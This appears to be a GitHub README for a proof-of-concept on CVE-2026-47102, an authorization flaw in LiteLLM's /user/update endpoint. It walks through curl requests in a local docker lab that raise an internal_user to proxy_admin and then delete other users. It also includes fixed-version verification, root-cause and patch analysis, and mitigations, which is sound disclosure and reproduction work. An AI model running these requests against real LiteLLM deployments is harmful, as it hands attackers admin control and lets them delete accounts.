learner202649/CVE-2026-47102-PoC
GitHub: learner202649/CVE-2026-47102-PoC
Stars: 0 | Forks: 0
# CVE-2026-47102 — LiteLLM Privilege Escalation via `/user/update`
| Field | Value |
|-------|-------|
| **CVE** | **CVE-2026-47102** |
| **CVSS v3.1** | **8.8 (HIGH)** — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-863 (Incorrect Authorization) |
| **Affected** | LiteLLM **< 1.83.10**(确认于 v1.83.7) |
| **Fixed** | **v1.83.10+**(新增 user_role 字段修改权限校验) |
| **Published** | 2026-05-21 |
| **Discovered by** | Fenix Qiao (13ph03nix) — Obsidian Security |
| **Links** | [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-47102) |
## Description
LiteLLM 的 `/user/update` 端点用于更新用户属性。在受影响的版本中,`/user/update`
的 `can_user_call_user_update()` 函数会检查用户是否有权更新指定用户(允许用户更新
自己的记录),但**不对可修改的字段做任何限制**。
这意味着任何能够访问 `/user/update` 端点的用户(例如,被管理员授予了该路由权限的
用户,或通过其他漏洞获得该端点访问权限的攻击者),都可以通过修改自己的 `user_role`
字段将自身角色提升为 `proxy_admin`,获得对所有管理端点的完全访问权限。
### 攻击链
Admin 为 internal_user 创建带有 /user/update 路由权限的 API key
→ internal_user 获得 route-level 访问权限
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ 角色提升为 proxy_admin
→ GET /user/list (验证管理员访问权限)
### 与 CVE-2026-47101 的区别
| 对比项 | CVE-2026-47101 | CVE-2026-47102 |
|--------|---------------|---------------|
| **漏洞焦点** | `/key/generate` 未校验 allowed_routes | `/user/update` 缺少字段级权限 |
| **攻击前提** | internal_user 可直接调用 `/key/generate` | 需先获得 `/user/update` 路由访问权 |
| **修复版本** | v1.83.14 | **v1.83.10** |
## Proof of Concept
### 环境准备
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.83.7-stable)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
### 确认服务运行
# 检查容器日志
docker logs litellm-47102-privesc 2>&1 | tail -10
预期输出应包含 `Uvicorn running on http://0.0.0.0:4000` 等启动成功的日志。
### Step 1: 创建 internal_user 账户
使用 master key 创建一个低权限的 `internal_user` 账户:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
预期输出:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
### Step 2: 管理员授予带有 /user/update 路由权限的 key
管理员为 internal_user 创建带有 `/user/update` 路由访问权限的 API key。
这是在真实环境中拥有 `/user/update` 端点访问权限的典型方式:
# 使用 master key 创建带有 /user/update 路由的 key
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
预期输出:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
### Step 3: 权限提升至 proxy_admin(CVE-2026-47102)
使用上一步获得的带有 `/user/update` 路由权限的 key,将用户角色提升为 `proxy_admin`:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
预期输出:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
### Step 4: 验证管理员访问权限
通过 `/user/list` 端点验证角色提升生效(使用原始 internal_user 的 API key,
该 key 无路由限制,提升为 proxy_admin 后自动获得管理权限):
# 使用已提升为 proxy_admin 的 key(原始 internal_user key,无路由限制)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
预期输出:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
### Step 5: 扩展 — 删除管理员用户
利用获得的 `proxy_admin` 权限,可以通过 `/user/delete` 删除任意用户
(同样使用原始 internal_user 的 API key):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
预期输出:
1
### 一键复现
以上步骤已整合为 `demo.sh`,可直接执行:
# 完整复现(包含漏洞版 + 修复版对比)
bash demo.sh
## Fixed Version Verification
启动修复版本(v1.83.10-stable)验证 CVE-2026-47102 已被修复:
docker compose --profile fixed up -d litellm-fixed
创建 internal_user:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
创建带有 `/user/update` 路由的 key:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
尝试提升权限(预期被阻止):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
预期输出(修复版本阻止越权请求):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
与有漏洞版本对比:
| 测试场景 | 有漏洞版本 (v1.83.7) | 修复版本 (v1.83.10) |
|----------|---------------------|---------------------|
| 路由 key 修改 user_role | ✅ 成功提升为 proxy_admin | ❌ 被阻止("Only proxy admins can modify user roles.") |
| 访问 /user/list | ✅ 成功获取用户列表 | ❌ 被阻止 |
## Root Cause Analysis
漏洞根因位于 `/user/update` 端点的 `can_user_call_user_update()` 函数:
### `/user/update` — 缺少字段级权限校验
# 有漏洞的代码 — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # 管理员可以更新任何用户
elif user_api_key_dict.user_id == user_info.user_id:
return True # ❌ 用户可以更新自己的记录 — 包括 user_role 字段!
return False
修复方案(v1.83.10+):
def can_user_call_user_update(user_api_key_dict, user_info, data):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # 管理员仍然可以更新任何用户和字段
elif user_api_key_dict.user_id == user_info.user_id:
# 限制非管理员可修改的字段
allowed_fields = {"metadata", "display_name", "email"}
requested_fields = set(data.keys())
forbidden = requested_fields - allowed_fields
if forbidden:
raise ForbiddenError(f"Cannot modify fields: {forbidden}")
return True
return False
## Exploitation Technique
### 前置条件
攻击者需要有一个能够访问 `/user/update` 端点的 API key。这可以通过以下方式获得:
1. **管理员授予路由权限** — 管理员创建了带有 `/user/update` 路由的 key
2. **CVE-2026-47101** — 利用 `/key/generate` 的 wildcard 路由漏洞创建通配符 key
3. **org_admin 角色** — org_admin 在某些配置中有权访问 `/user/update`
### 攻击步骤
**Step 1:** 获得带有 `/user/update` 路由权限的 API key
**Step 2:** 调用 `/user/update` 提升角色:
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
**Step 3:** 验证管理员权限:
GET /user/list
Authorization: Bearer sk-route-key
## Patch Analysis (v1.83.10)
修复版本在 `/user/update` 中增加了字段级权限校验:
1. **限制非管理员可修改的字段** — internal_user 只能更新 `metadata` 等非关键字段
2. **保护 `user_role` 字段** — 只有 `proxy_admin` 可以修改用户角色
3. **保持自更新能力** — 用户仍可更新自己的基本信息,但无法提升权限
错误信息:`"Only proxy admins can modify user roles."`
## Repository Structure
CVE-2026-47102/
├── README.md # This file
├── CVE-2026-47102_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
## Mitigation
1. **Upgrade** to LiteLLM **v1.83.10+** (fixed /user/update field-level authorization)
2. **Restrict** API key route privileges — grant only necessary routes
3. **Audit** existing users and keys for signs of privilege escalation
4. **Monitor** `/user/update` calls with `user_role` changes for anomalous activity
## References
- [NVD Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-47102)
- [Obsidian Security Advisory](https://www.obsidiansecurity.com/blog)